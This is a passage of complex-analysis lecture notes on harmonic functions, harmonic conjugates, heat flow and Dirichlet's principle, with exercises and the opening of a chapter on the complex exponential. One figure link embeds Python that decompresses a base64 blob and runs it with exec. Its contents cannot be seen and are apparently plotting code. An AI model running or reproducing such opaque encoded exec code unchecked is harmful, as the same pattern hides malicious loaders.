For (x, y) ∈ D the horizontal segment from (0, 0) to (x, 0) and the vertical segment from (x, 0) to
(x, y) lie in D, so the following integrals are over subsets of D. Define

v(x, y) :=
∫ y

0
ux(x, t) dt−

∫ x

0
uy(s, 0) ds. (15.2)

(All integrands are continuous, so the integrals exist and may be differentiated under the integral
sign, the integrands having continuous partials.)

Differentiating (15.2) in y gives immediately

vy(x, y) = ux(x, y), (15.3)

which is the first CR equation. Differentiating in x,

vx(x, y) =
∫ y

0
uxx(x, t) dt− uy(x, 0) (15.1)= −

∫ y

0
utt(x, t) dt− uy(x, 0)

= −
[
uy(x, y) − uy(x, 0)

]
− uy(x, 0),

so
vx(x, y) = −uy(x, y), (15.4)

the second CR equation. Since vx = −uy and vy = ux are continuous, f := u + iv satisfies
the hypotheses of Theorem 14.6 and is analytic on D. Moreover vx and vy have continuous first
partials, because u has continuous second partials; so v has continuous second partials and, by
Clairaut’s theorem for u, vxx + vyy = −uyx + uxy = 0. Thus v is harmonic (without appeal to the
fact from Chapter 21 used in Theorem 15.2).

Uniqueness: if v1, v2 are two harmonic conjugates then f1 − f2 = i(v1 − v2) is analytic with
purely imaginary values, hence constant by Theorem 14.13(iii) applied to −i(f1 − f2). So v1 − v2
is a real constant.

For a general simply connected region the same construction works with (15.2) replaced by a
line integral along any path from a base point, the CR equations guaranteeing path-independence;
this uses material from Part II, and is carried out in Corollary 20.13.

Remark 15.7 (Where it fails). Simple connectivity is essential. On the punctured planeD = C\{0}
the function u = ln |z| is harmonic (Example 15.3) but has no harmonic conjugate on all of D.
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Indeed, suppose v were one. On the upper half-plane {y > 0} we have Arg z = π
2 − arctan(x/y),

and on the lower half-plane Arg z = −π
2 − arctan(x/y) (check the quadrants against (3.4)); in

both cases
∂x Arg z = −y

x2 + y2 = −uy, ∂y Arg z = x

x2 + y2 = ux.

So v − Arg has vanishing gradient on each half-plane (both satisfy vx = −uy, vy = ux), and
is therefore a constant c+ on {y > 0} and a constant c− on {y < 0} (as in the proof of Theo-
rem 14.13(i)). Let x0 ̸= 0 be real. Letting z → x0 from above and from below and using continuity
of v at x0: for x0 > 0, Arg z → 0 from both sides, so c+ = c−; for x0 < 0, Arg z → π from above
and → −π from below, so π + c+ = −π + c−. These contradict each other. (This is the same
obstruction as in Proposition 10.5(ii): a conjugate would be a continuous argument function on
C \ {0}.) On any disc contained in D a conjugate exists by Theorem 15.6, and on the slit plane
C \ (−∞, 0] the function Arg is one (Chapter 16).

Example 15.8 (Finding a conjugate, method of partial integration). Let u(x, y) = x3−3xy2+2y.
First check harmonicity: uxx = 6x and uyy = −6x, sum 0; so u is harmonic on R2. Now solve the
CR equations for v. From vy = ux = 3x2 − 3y2, integrate in y holding x fixed:

v(x, y) = 3x2y − y3 + ψ(x) (15.5)

for some differentiable function ψ of x alone. Differentiate (15.5) in x and use the second CR
equation vx = −uy:

6xy + ψ′(x) = −
(
−6xy + 2

)
= 6xy − 2 =⇒ ψ′(x) = −2 =⇒ ψ(x) = −2x+ c.

Hence v(x, y) = 3x2y − y3 − 2x+ c with c ∈ R arbitrary, and

f(z) = u+ iv = (x3 − 3xy2 + 2y) + i(3x2y − y3 − 2x+ c).

One recognises f(z) = z3−2iz+ic: indeed z3 = (x3−3xy2)+i(3x2y−y3) and −2iz = −2i(x+iy) =
2y − 2ix.

Proposition 15.9 (Recovering f from u directly). Let u be harmonic on a disc D about z0 and
let f = u+ iv be an analytic function on D with real part u. Then

f ′(z) = ux(x, y) − i uy(x, y), (15.6)

and f may be recovered by antidifferentiating (15.6). In practice one uses Milne’s method: sub-
stitute x → z, y → 0 to get f ′(z) = ux(z, 0) − iuy(z, 0). This is valid when D meets the real axis
and the function g(z) := ux(z, 0)− iuy(z, 0), obtained by extending the real functions x 7→ ux(x, 0)
and x 7→ uy(x, 0) to complex arguments by their formulas, is analytic on D (for instance when
these formulas are polynomials, or built from ex, cosx, sin x by sums and products).

Proof. Equation (15.6) is (14.2) combined with vx = −uy. For the substitution step: f ′ is
analytic on D (by Part II, Corollary 21.5), and for real x with x ∈ D, (15.6) gives f ′(x) =
ux(x, 0) − iuy(x, 0) = g(x). So the analytic functions f ′ and g agree on the segment D∩R, which
has accumulation points in D, and hence on the whole disc by the identity theorem of Part II
(Theorem 24.8).

Example 15.10. For u = x3 − 3xy2 + 2y as above, ux = 3x2 − 3y2 and uy = −6xy + 2. Milne:
f ′(z) = ux(z, 0)− iuy(z, 0) = 3z2 −2i, so f(z) = z3 −2iz+C — the same answer as Example 15.8,
in two lines.
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15.3 Level curves and physical interpretation
Theorem 15.11 (Orthogonality of level curves). Let f = u + iv be analytic on a region D and
let z0 ∈ D with f ′(z0) ̸= 0. Then the level curve of u through z0 and the level curve of v through
z0 are smooth near z0 and meet orthogonally there.

Proof. By (14.2), f ′(z0) ̸= 0 means (ux, vx) ̸= (0, 0) at z0; combined with (14.1) this gives
∇u = (ux, uy) ̸= (0, 0) and ∇v = (vx, vy) = (−uy, ux) ̸= (0, 0). By the implicit function theorem
both level curves are smooth near z0, with normals ∇u and ∇v. Their dot product is

∇u · ∇v = uxvx + uyvy = ux(−uy) + uy(ux) = 0,

so the normals, and hence the curves, are orthogonal.

Remark 15.12 (Potentials and flows). If ϕ is a harmonic function modelling a steady-state physical
potential — temperature in a plate with no internal sources, the electrostatic potential in a
charge-free region, or the velocity potential of an incompressible irrotational planar flow — then
the complex potential

W (z) = ϕ(x, y) + i ψ(x, y), (15.7)

with ψ a harmonic conjugate of ϕ, packages the whole solution in a single analytic function.
The level curves ϕ = const are the equipotentials (isotherms, field-equipotentials), and by Theo-
rem 15.11 the level curves ψ = const — called stream lines or lines of flux — cross them at right
angles, which is exactly the physical statement that heat and field lines flow along the steepest
descent of the potential. Moreover W ′ = ϕx− iϕy by (15.6), so the conjugate of W ′ is the gradient
field itself.

ϕ = c

ψ = c
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Figure 15.1. Theorem 15.11 for the complex potential W (z) = z2 of Example 15.13. The equipo-
tentials ϕ = x2 − y2 = c and the stream lines ψ = 2xy = c are two families of hyperbolas crossing
at right angles. Physically: heat flows along the stream lines, always perpendicular to the isotherms,
which is exactly what “down the steepest gradient” means.

Example 15.13 (A steady temperature field). Let W (z) = z2, so ϕ = x2 − y2 and ψ = 2xy. The
isotherms x2 − y2 = c and the flux lines 2xy = c are the two orthogonal families of hyperbolas of
Proposition 9.3 — the classical picture of heat flow near a corner. In the first quadrant with the
two axes held at temperature 0, the function ϕ = 2xy (real part of −iz2) is a harmonic function
vanishing on both walls (the simplest one; it is not unique, since for instance every multiple of 2xy,
and Im z4 = 4x3y−4xy3, also vanish there), giving the temperature distribution in a right-angled
corner.
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temperature Á at the particle speed jW 0(z)j= 2jzj

Stream lines cross isotherms at right angles (Theorem 15.11)

W= z 2 (Fig. 15.1). Teal: isotherms Á= x 2 ¡ y 2 = c (red warm, blue cold).
Heat moves with velocity ¡rÁ=¡W 0 (Remark 15.12), along Ã= 2xy= c

ringed particle:

angle between trace and isotherm, measured at the latest crossing:

t = 1.60,   z = 0.096 + 2.453i,   temperature -6.009,   speed 4.910

89.96°

Figure 15.2 (animated). Theorem 15.11 through motion: heat particles move with velocity −∇ϕ
along the stream lines ψ = const, and cross the fixed isotherms ϕ = const at right angles (the marked
crossings are within 0.11◦ of 90◦). First W = z2: the particles turn round the corner, slowest near it,
where |W ′| = 2 |z| is small. Then W = e−iθz2 turns until W = −iz2, ϕ = 2xy of Example 15.13: now
the particles flow into the walls. Below: temperature and speed of the ringed particle.

https://jupyterlite.github.io/demo/repl/index.html?kernel=python&toolbar=1&pyfig=g21_corner&code=import%20numpy%2C%20matplotlib%2C%20zlib%2C%20base64%20%20%23%20run%20print%28src%29%20to%20see%20the%20code%0Asrc%20%3D%20zlib.decompress%28base64.b64decode%28%27eNqNWvt32kYW%2Fl1%2FxaxCTqQtKEJ%2BpIEq5zTdNPXWbvPwJj0mxGeAARQLSZaEDST53%2Fe7d0ZIYCetT2Kkedy58933xdZETUUWy7UzjWZtMc3lQpmPoi2ipFT5jYzbYjRKV%2BEfaaLcniXwEy2yNC9FlGJKFur4sC0WsszitIyjkZet6UnIAqRLXj%2FN04U4ebUu52niTaKCjqyI%2FHZ%2BdtoWZpBXY5c3jtNCEVcuD5lphxY7tm3%2FFC1mIpqEdja9xKMtinIdq9AeL%2FMizXtZyrzbooxKHo6j8ZUoU5HJZaHsZ9ZPxTiPsvKZdSNzkU1FKG6jZJLeevz8edoTg2FbXPWE3xb5MumJMl%2Bqr4AEx4Ziko6XC5WU3kyVL2JFj8%2FXJxOn4sbtW%2Fjw0kSfG4rpMhmXUZoIxxWfcZ4Hmhj%2Bl37qi699q1DlicHb2VmO%2B0dT4Zi14ssX2n8lnoX0OfVilczKuStyVS7zpE%2BrcXSRj4VeMKDVw77eFAqHP38QXVc8fCgeTvoWbvVwAo5%2FemwwAbzioXD2tcB1tSimSk0Ig12JuFsRXkIs50DLrE5zcQUaIpfJTBmiRou0ZmDAuXK3A6MlSSBKvefrUhUnfzr1FLTBK%2BSNwqeDZW0iDrWDEiQzWyvpZZSM56oI6bneiHnQ1JrqjY4PVTJOJ4pokARxt6VyXNebKB5uHIirestsIkul7%2Fmo0huGPlsWc8fGrOxFCzlTj3FO39jDw8J2t4g%2BAp6YA4APRAc%2FQiUTkU7Ff5cZLpmfRqViK1Q5T1uQwNsyV3Ih4ihRhZBYHhVpOVf5ohDO%2BVyluVqI7pHX7bbFG7WQ%2BRW%2FBW3xK0Di57Z4sZKLLFb8duB61isJc%2Bv2xPtw8xEra4rZPApXH4PO%2BmMQjgHzSk2gMFgdjWMcv0hvFOyjnIsbFafjqFyLziyXE9oHXDvjNPnkvH%2FkMp9lLsdKgLBVNK8QrNbhuC%2BkyKPZvOxAGcAY8y2zTMkclyyFkuO5GOdpUUQJ3BGICL0wAhNKFsscqse%2BhKYmubxNBCz%2BRhXmcgEuJ8gOClLbVKiPnzsRLS7lV74zP8KqReeZyKLHQZ%2BOJWIkkfdhJ%2BJVhAcYFs4ugj1xK%2BOYOLVKtchULnGUIhcxVyAzjdNbTMYptK1Gk%2FmgE3ivJ54Dwlv4kwYBgq3IyKy%2BvH%2F0JQy%2BbL6QdsDdboWA%2B60hWQGob%2BBt4Bt6TFQrmIAbZ5RhGUytsiq%2BMDBittlcPc%2BDJkDBLON%2Bk%2BUiW5OvTrJqqHblVsOrw3E69s8zeLe76%2FZcvkUePB9DJHJRVAb02cb6ealWpTdNkxL%2Bzu4Je7yA5do04E3lIorXNFioPJpux4toozDaDb661snbP6Hip9A6%2B0F3ejx98iMtezB%2Beix937agIwpzsVyMJlLcQNDekejw73%2Fjgt44LRx8ZBFeF1HiLOTKuWlj3gdUXfx2rTi6IRKDoWVZFB0Bvswd47Fu5xG0gZbUHozevCzNHNeDUcJU4EAs6x1oBN7hUV%2BcvqBnnCrzHAIYdBAsO4F3hN9dD8rW8T2M%2BMTFITGBIZ499PyhaxXXgd5dXOelE7h9UVzqAdhVkcHWnM5BW%2BDfoe%2B7huf5GrrljKGwf%2FvzgNUoVrBsAZHAmTgbmMjHwGXd5Vka6EB7EuQGJOE0XrNR61QAEIkwFH6NiA5FYrDDJG6Ef4EL5J0uBaBPgPw7Kzq0Ysg0ZQMBOSpwMcAwJyHJrVjnTnHpMlkMmWF4ER5G9Jt75GaSidOZDwjWBptzfYVncAoqhvoMmETGkSsjCOakCr%2F87w2JceCM4R5cnmR8SLr1SoP70Do%2F3xOST6I9bosf%2FS5FgYxdsXDYFUNOBHG4aYtVuPLZawUl4vI6XPMbXrQ%2FFgFtYS9Fm0LMReTHDr8yBeyHI48aFIgs%2FldUrIsuXSLwDoxBqFXmdAI8n59v0cOZ27lqiq6IcdzR8Sm0%2BF5wxBrLv5%2Bw8dCvQ9z9Lx9nHHgH4rGA9loXgTYnIqEqErS7UxE55udjQ6TDv8kktUZtNJLEDW34pJnLItaTv%2Fxv30PdvYcWvCzgYEqmUmaO0%2BHVG%2FrvehTIXfGT6KrOU148kpTtOBsYt4wx4bviC73SQn7ti6Sy7xn5E2xwSaXw6clkjRSO1Qp5mrNxK5PZTvb%2BzjyLMs2qIEUhRDhke8haOS%2BDLUrOFE2QqYJnncNAKUbgbzNIyKSQ1OIJBnGLMfKAku8FuzY3fyyc%2B4Y7vHhkRkd6FFcHsd4QpCRAvyWBjLBU6tMvgsrocO9Xv52QGhjPvOkBQg24ptgY3xEHzQ4tIzDc3qmEdo%2B4WEk3pGAXyG73PFyG2IPgjGjbTEt6IisohTlZIG9AkoHwWpQyKSvfb9AsnA0nBW1ylPeLDCZNNUeBEKFyzn9MJsQ0EJrrjGWbd7V1wlRlOdqfpsuS7aUvKA%2FGoZXWbF0OeKh9baR1L0mTjcpTgmcSTacOe79Z4kwhDrhL8S84aBeer943ZY2MdNJGXnUziLCAjGeITfpt6MIvErb1gdWhNA2nxKoV0TZnjG1TPLMS4aEipcegG5t6jPa4OzRx70pdHACdtYnvpp%2FGAiMWRsspc14FNL9jRA9MAjlS5a1SSVMu8zSfbAVAFqWKcisbPc3Hf6qtmwwDSGERrpCR%2Fi8JiSIdfKoupl%2FI0vriBpNl3rwDiUfNcqU4DZH5mBISIuksq0iGVPrG1YpPQNLksnq4oRrMsijXq7McBKQ8LVGw4jehvBcpzRCHyOutb6yi47Vrwu1uDEToxXAx2xVR44eUsZixM%2B%2BSy9YR4poGBvfkJoHvI%2B4Nh9bZz29%2Br8MBhbS2cC4u%2BAou7VbIRykvVo7jXIB016UFQfv%2BEIAfrZlnmmjFWtLWjqCmdnHRLDqxxOgYrdoxcziqAfEFTzkY78Z5xogsaeju2QMUQrtTEo2jJQLGr9Q6NFKa91iCc1Ycj5aS%2BpS5tp%2BmWexQptTnjrr3qwhGFCW2PfXJB%2FoekJY728%2B2JgVE9I1xpFamMgeH0tgYyaVae%2BZabznVsX%2B2TWLqu0Ng3j0En2Y40sMayrq%2B9znDgdgg7Xrxj36DShCA%2FA9M%2F6yao7zdicBY8NS9Q%2FPAr2g91%2Fx0K35qSs81S91%2FxNLz6tiKUHBsvf3ltxf%2Fwa3fknlRt4BKGDyhPqMuFNUgofOEM3RUE0CNO0vU2kG9TUUNNJOTmadYYuOAuQztseIuVFvcNF%2B4%2BiF63QNQsorl6D4yVMvfSwf5wA6RLm0Yp3GahzZUAHMc2mB%2BUOmwS0fIlTlBTiaXcgXvM%2FC5WYAEjiXz5Fgnc0dDUq6Vh0rgUqIkHZeOra6XMrbr8VUcLQjUd%2FXQejuEozwUrFeXGdd%2BTixHcCjMJ6qT2d2k%2BF2btLcvXl5gbjagHmNb9IaVn5oNem1Bg0PrhGwc5KNFMU9vyadRxCuclxdeMZeZgjYDPyAVGrrMUFukeTSLktBG2c0YjhcyA6RpGt%2FKnKrPG1hj2HlCD3IV4lPGGVAHlq51%2BgeXGSuPyluHeoL0X6PNtWh8C4gPKLSy3l2S3lGtgKRlNfsm6t2DGvVAYz7bARe1QmOU8SUOn5jBb0NMs3I1JxUgOlu9oDoZvOJh5zTa69hltFCiVbZoDY1kchL6OzrmWi%2FP24z%2F7D4o7GmUq1EOrvQxgSEU5naz0dH6gHymVWWzVW%2FDBvG33yN%2Bl6julrS%2BvH%2BE7Eh3TFq2vnysZuTE4nRsRI48Z1ruWAybWALiYQAJc0XUMD8fUlnDT96xsYYRm4IIqzgE0q4jrLBzmBwYq27Wo7YoTVKdY9suiqN3u8et%2BCzb%2FvvDaGV1mC6bcKQm%2FyNrEw6hA87faCjvQ%2FLXU6OwpARnv397YQU55H6uAza5iaolguDmlHMTA%2BvMRodnjs6YNWurTpRebJopuss%2FZ5ddUiHP3nfAbWqqchFiKdhmc2osIIKYpKQvKFzq06sUgGJGRS%2BqkyIqJKqy0PBU9X2oWb5TX%2FDukzO2CGrmOpR0v7xw67QbnJq6HwLYRJlz%2BkebrbyRB1wTa9Q4oGbDltS1qW%2BudaVSlX%2Fbm9X7OZ7wRlaMfLcDzClKo2MLE%2BJGqqkc9nrCrl0nbggvTaot6jh8Dr62hLPtFLueOAeXvQZ9ttRwRSs7a%2FodjrGD2q%2FkNFEBxktFujJxPRu%2B2v6Q4OP%2BZDG3f6PuKHXGir0ucqvzIZGjWPJhnQ9YkdN1P79%2FRPw1%2B9qUqnBjFYwV3JwFQ%2BaWKq4RPfseoudQVBiodj4phYqIbg1IuE%2F8oeoTEzxtnMTvLd1wbvktqrFxfPQ4aH0HX70rfOgF01ZPKFxpbdpr3Kk23enRuqJP1Ojrlj2V%2FltQAWl1luaJL0KtoYp908Vu7bext7AV6ntgUTchzRM40HS6%2B1XCN0%2F6Niy6cd5ahT5tWOODo0AzNvitflMBtYj%2FqXY1e%2B%2BtPbWlGo89aVH34fcNyN43zaYiNfoKu3k%2Ft3456Zg4lSPdGIvXHaK7nrdKL6hVRIEe6TtE%2F5iy96PqK7bqUEmHvqNu6eneybIG126g%2FvK8dj3ao1Nq9faewfM39wye%2FX5ncK%2Bpy6%2BnXaQ7DQbuRj3d%2F6GU7oJLS%2B3Vw6q8vAh4wSudDqLmHaNES6hMo%2BIxvxxsBj1dE3Hdl8hk2BDCxT7%2FrwzkrxpO9sVOz51bFHsUWHim5KE8FjxAR5wXhtgLI78iPPCbUlSTmdoNkpxObNJ8ovLw2EgwlgWFMcpc%2B%2BI1BVBzj2aJ%2BokLsklby5lKMF159ppdmk%2Bo7KJd4VPZgXj%2F5IhIU%2F2TQYkU3AdIbR%2B3XdBqfPfdsNOvONV14%2Bsmaq%2F3NOK1QeZ1A2Zqzl5cQB0qgaGmxdD5efVube3kLtQQS6c71D0%2BKJt%2BI9pDgr0bUAqKMsGgnQBL%2Bz78ua9u8H9i8G8aQtko6pEu7lkEZqk5zB0ws%2Fndnn7Tjcift82FH3oHU1yOPiIaa7oxGqQxnaHSm32f44LDB0YRt2MrDKpnrXcNlmmUAoJPjfEtszxKtwG73Sa7Njf3JHezWAO10dl0hQ9L3x%2F5FHBogVuZ8z%2Fav9dJ4y5a85vpdv0drcnwY5g0yFT9FXIMFmjb9E2kTTo%2Fi9ORjIuqDf5AZHl6E01AAQGSKOhvPYHOhOJQXg03vzhHxnBl%2Fmzk3r9jCanPyQmmW%2F8xQ3iMspgj4DcbhyAHDvXfrPRMzlBg9%2FZPVKovOAd2Npnyd5rlOlM2tcMPA6v%2B4wbUt9b%2Bny9cXk6jWF1eenmRxRFAf2xTr8voAo5GdWx72Zq%2B3bzU53o4BSWE9X81%2Bzt0%27%29%29.decode%28%29%0Aexec%28src%29
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15.4 Bonus background: harmonic functions
as steady states of heat flow

Bonus background. This section explains where harmonic functions come from physically and why
they are “optimal”. Nothing later in the notes depends on it, and it can be skipped.

Remark 15.12 read a harmonic function as a steady temperature. This section explains where
that comes from: harmonic functions are exactly the temperatures that heat flow no longer
changes, and among all temperatures with the same boundary values they are the most economical
way to carry heat from the hot part of the boundary to the cold part.

The heat equation. Let D be a bounded region, a thin plate, and let φ(x, y, t) be its tem-
perature at the point (x, y) at time t. Heat flows from hot to cold at a rate proportional to the
temperature gradient (Fourier’s law: the heat flux is q = −k∇φ with a conductivity k > 0), and
heat is conserved: the rate at which a small piece of the plate warms up is the net heat flowing
into it, − div q = k∇2φ per unit area. Choosing units of time in which the material constants
equal 1, this is the heat equation

∂φ

∂t
= ∇2φ = ∂2φ

∂x2 + ∂2φ

∂y2 . (15.8)

We hold the edge of the plate at fixed temperatures, φ(x, y, t) = g(x, y) for (x, y) ∈ ∂D and all
t ≥ 0, and start from any initial temperature φ(x, y, 0). The model is physics, not a theorem;
what follows is mathematics about it.

A steady state is a temperature that does not change: ∂φ/∂t = 0. By (15.8) this says exactly
∇2φ = 0:

the steady states of heat flow are the harmonic functions with the given boundary values.

The animations of this section run (15.8) from an arbitrary initial temperature until nothing
changes any more, and the picture that remains is harmonic. That the solution always does settle
down to the harmonic function with boundary values g is a theorem about the heat equation that
we do not prove here; the next result explains why it should.

Energy. Throughout, D is a bounded region whose boundary is a finite union of simple closed
piecewise-C1 curves, as in Green’s theorem (Theorem A.17), and the functions are C2 on a
neighbourhood of D. The Dirichlet energy of a function v on D is

E(v) =
∫∫

D
|∇v|2 dA =

∫∫
D

(
v2
x + v2

y

)
dA. (15.9)

It measures how steep v is, in total. Everything rests on Green’s first identity: for w of class C1

and φ of class C2, ∫∫
D

(
∇w · ∇φ+ w∇2φ

)
dA =

∮
∂D

w
∂φ

∂n
ds, (15.10)

where ∂φ/∂n = ∇φ · n is the derivative along the outward unit normal n. To prove it, apply
Green’s theorem (A.16) to P = −wφy, Q = wφx: then Qx−Py = wxφx+wφxx+wyφy+wφyy, the
left side of (15.10), while P dx+Q dy = w(φx dy−φy dx) = w∇φ·n ds, because ( dy,− dx) = n ds
when D lies to the left of ∂D.
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Proposition 15.14 (Heat flow lowers the energy). Let φ solve (15.8) with φ = g on ∂D for all
t. Then

d

dt
E
(
φ(·, t)

)
= −2

∫∫
D

(
∇2φ

)2 dA ≤ 0,

with equality exactly when φ(·, t) is harmonic.

Proof. Differentiating under the integral sign, d
dtE = 2

∫∫
D ∇φ · ∇φt dA. Apply (15.10) with

w = φt: the boundary term vanishes, because the edge temperature does not change, so φt = 0 on
∂D. Hence d

dtE = −2
∫∫
D φt ∇2φ dA = −2

∫∫
D(∇2φ)2 dA by (15.8). The integrand is continuous

and ≥ 0, so the integral is 0 exactly when ∇2φ ≡ 0.

So heat flow always runs downhill in energy, and it only stops where the ground is flat: at a
harmonic function. (In fact (15.8) is the steepest descent of E: by the proof, d

dtE = −2
∫∫
φt∇2φ,

so among all ways of changing φ at a given speed
∫∫
φ2
t , the Cauchy–Schwarz inequality shows

that φt = ∇2φ lowers E fastest.) The next theorem says that the bottom it reaches is the lowest
point there is.

Theorem 15.15 (Dirichlet’s principle). Let φ be harmonic on D with φ = g on ∂D, and let v
be any function with the same boundary values, v = g on ∂D. Then

E(v) ≥ E(φ),

with equality only if v = φ. In particular there is at most one harmonic function with given
boundary values.

Proof. Put w = v − φ, so w = 0 on ∂D. Expanding |∇φ+ ∇w|2,

E(v) = E(φ) + 2
∫∫

D
∇w · ∇φ dA+ E(w).

By (15.10) the middle integral is
∮
∂D w ∂nφ ds−

∫∫
D w∇2φ dA = 0 − 0, because w = 0 on ∂D and

∇2φ = 0. So E(v) = E(φ) + E(w) ≥ E(φ). Equality forces E(w) = 0, i.e. ∇w ≡ 0 on D. Then
f = w+0i satisfies the Cauchy–Riemann equations with continuous partials, so it is analytic with
f ′ = wx = 0 (Theorem 14.6), hence constant on the region D (Theorem 14.13 (i)); being 0 on ∂D,
w ≡ 0.

Remark 15.16 (The most efficient way to carry heat). Suppose ∂D is the union of a hot part
Γ1 held at temperature T1 and a cold part Γ0 held at T0 < T1, each of Γ0, Γ1 a union of whole
boundary curves of D (for example the inner and the outer circle of an annulus). This matters:
if a hot and a cold arc of the same boundary curve met, the boundary temperature would jump
there, φ could not be C1 up to the boundary, and in fact E(φ) = ∞, as Remark 15.17 shows for
the wedge. Applying (15.10) with w = φ to the harmonic φ gives

E(φ) =
∮
∂D

φ
∂φ

∂n
ds = T1

∮
Γ1

∂φ

∂n
ds+ T0

∮
Γ0

∂φ

∂n
ds = (T1 − T0)Q,

where Q =
∮

Γ1
∂nφds is the heat current entering through the hot edge (here

∮
∂D ∂nφds = 0, by

(15.10) with w = 1: in the steady state what comes in goes out). So the energy is heat current
× temperature drop, exactly as power = current × voltage for an electric current. By Fourier’s
law it is also the rate at which conduction dissipates, k

∫∫
|∇φ|2 =

∫∫
q · (−∇φ); and when the

temperature differences are small compared with the absolute temperature T , the rate at which
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the plate produces entropy is ≈ (k/T 2)E(φ). Dirichlet’s principle therefore says: the steady state
carries heat from hot to cold with the least waste: no other temperature distribution with the
same edge temperatures does it with less dissipation. It has no hot spots and no cold pockets to
feed, and its isotherms and flux lines cross at right angles (Theorem 15.11), so the heat takes no
detours.
Remark 15.17. The wedge of Example 33.8 is held at 0 on one edge and at 100 on the other, so
its boundary temperature jumps at the vertex 0. There the smoothness assumed above fails, and
indeed |∇φ| = 400

πr makes E(φ) = ∞ near 0. The first animation below therefore cuts the vertex
off, using the truncated wedge {0.2 < |z| < 1, 0 < Arg z < π/4}, and holds the two arcs at the
steady values; its boundary temperature is then continuous and everything above applies.

'= 0

'
=
10
0

10−3 10−2 10−1

time t

100

101

the least possible energy

E(t) =Emin ,   E=∬jr'j2 dx dy

0

20

40

60

80

100

heat flow 't =r2' in the wedge,  t= 0:1200
the heat equation runs downhill in energy and stops at the harmonic function '= 400

¼ Arg z

Figure 15.3 (animated). Heat flow in the wedge of Example 33.8, cut off at |z| = 0.2, starting from the
constant temperature 45 plus a hot and a cold spot. Left: the temperature and its isotherms, which end
as the rays of Example 33.8. Right: the energy E(t)/Emin falls monotonically to 1 (Proposition 15.14,
Theorem 15.15).
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the harmonic '

part 2: rivals '+ "b,  E=Emin

part 1: the sheet settles under heat flow,  t= 0:2000
the temperature as a height over the square; the edges are held on the black wire frame

Figure 15.4 (animated). The temperature on a square drawn as a height: a “rubber sheet” on a
wavy wire frame. Part 1: under heat flow the bumpy sheet settles as E falls to its minimum. Part 2,
Dirichlet’s principle made visible: other sheets on the same frame, φ + εb with a bump b vanishing
on the edges, all have more energy, E(φ+ εb) = E(φ) + ε2E(b), a parabola with its minimum at the
harmonic φ.

15.5 Exercises
Exercise 15.1. Show that each is harmonic and find a harmonic conjugate:

u = 2x− x3 + 3xy2, u = e−x(x sin y − y cos y
)
, u = ln(x2 + y2) on {x > 0}.

Exercise 15.2. Show u = x2 + y2 is not harmonic, and explain why it therefore cannot be the
real part of any analytic function.

Exercise 15.3. Use Milne’s method (Proposition 15.9) to find the analytic f with Re f = ex cos y
and f(0) = 1.

Exercise 15.4. (⋆) Prove that if u and v are both harmonic on D and v is a harmonic conjugate
of u, then uv is harmonic. (Hint: uv = 1

2 Im(f2).) Is u2 harmonic?

Exercise 15.5. Let u be harmonic on C and bounded above. Anticipating Liouville’s theorem,
argue that u must be constant. (Consider ef where f = u + iv; you may use Theorem 15.6 on
C.)

Exercise 15.6. Decide which of the following are harmonic on the indicated set, and find a
conjugate where one exists:

u = x3 − 3xy2 on R2; u = y

x2 + y2 on C \ {0}; u = xy + x on R2; u = ex
2−y2 on R2.

Exercise 15.7. Prove that if u is harmonic then so are ux and uy. (You may use Corollary 21.5
to justify differentiating Laplace’s equation.)
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Exercise 15.8. (⋆) (Mean value property for harmonic functions.) Let u be harmonic on a
neighbourhood of D(z0, ρ). Prove

u(z0) = 1
2π

∫ 2π

0
u
(
z0 + ρeiθ

)
dθ,

and deduce a maximum principle: a harmonic function on a region that attains an interior
maximum is constant. (Take real parts in Exercise 21.4, and imitate Theorem 24.11.)

Exercise 15.9. Verify Theorem 15.11 explicitly for f(z) = 1/z by computing the level curves of
u = x

x2+y2 and v = −y
x2+y2 and showing that they are two orthogonal families of circles through

the origin.



Part IV

The Elementary Functions
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Chapter 16

Exponential and Logarithmic
Functions

16.1 The complex exponential
Definition 16.1 (Complex exponential). For z = x+ iy ∈ C with x, y ∈ R define

ez := ex
(
cos y + i sin y

)
= exeiy, (16.1)

where ex is the real exponential and eiy is the Euler abbreviation (3.6). We also write exp z for
ez.

Definition 16.1 is forced: any extension of ex that is entire and satisfies f ′ = f must be (16.1),
as Exercise 16.5 shows. It is consistent with the earlier notation: setting x = 0 recovers (3.6), and
setting y = 0 recovers the real exponential.

Theorem 16.2 (Properties of ez). For all z, w ∈ C:

|ez| = eRe z > 0, arg ez = Im z + 2πZ; (16.2)
ez ̸= 0 for every z ∈ C; (16.3)

ezew = ez+w, e−z = 1/ez, (ez)n = enz (n ∈ Z); (16.4)
ez = ez; (16.5)

ez+2πi = ez (periodicity). (16.6)

Moreover ez is entire and
d

dz
ez = ez. (16.7)

Proof. (16.2): by (1.24) and
∣∣eiy∣∣ = 1 (Proposition 3.9), |ez| = ex

∣∣eiy∣∣ = ex, which is > 0; and
(16.1) exhibits y as an argument.

(16.3): immediate from |ez| = ex > 0 and (1.22).
(16.4): with z = x+ iy, w = s+ it,

ezew = exeiyeseit = ex+sei(y+t) = e(x+s)+i(y+t) = ez+w,

using the real law of exponents and Proposition 3.9. Setting w = −z gives eze−z = e0 = 1. The
integer power law follows by induction and the inverse rule.
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(16.5): ex(cos y + i sin y) = ex(cos y − i sin y) = ex
(
cos(−y) + i sin(−y)

)
= ex−iy.

(16.6): e2πi = cos 2π + i sin 2π = 1; apply (16.4).
Entirety and (16.7): here u = ex cos y and v = ex sin y, so

ux = ex cos y, vy = ex cos y, uy = −ex sin y, vx = ex sin y.

Both Cauchy–Riemann equations (14.1) hold on all of R2 and the four partials are continuous, so
Theorem 14.6 gives analyticity on C with f ′ = ux + ivx = ex cos y + iex sin y = ez.

Theorem 16.3 (Periodicity and the fundamental strip). (i) The set of periods of exp is ex-
actly 2πiZ: ez+p = ez for all z if and only if p = 2kπi for some k ∈ Z.

(ii) ez1 = ez2 if and only if z1 − z2 ∈ 2πiZ.

(iii) exp maps the fundamental strip

Λ := { z ∈ C : −π < Im z ≤ π } (16.8)

bijectively onto C \ {0}; it maps the open strip {−π < Im z < π} bijectively onto the slit
plane C \ (−∞, 0].

(iv) exp maps the horizontal line Im z = b onto the open ray {reib : r > 0}, and the vertical
segment {a+ it : −π < t ≤ π} onto the circle C(0, ea). A rectangle {a1 < x < a2, b1 < y <
b2} with b2 − b1 ≤ 2π maps onto the annular sector {reiθ : ea1 < r < ea2 , b1 < θ < b2}.

Proof. (ii) By (16.4), ez1 = ez2 iff ez1−z2 = 1. Write z1 − z2 = x+ iy. By (16.2), ex+iy = 1 forces
ex = |1| = 1, so x = 0; then cos y + i sin y = 1 forces cos y = 1, sin y = 0, i.e. y ∈ 2πZ.

(i) is (ii) with z1 = z + p, z2 = z.
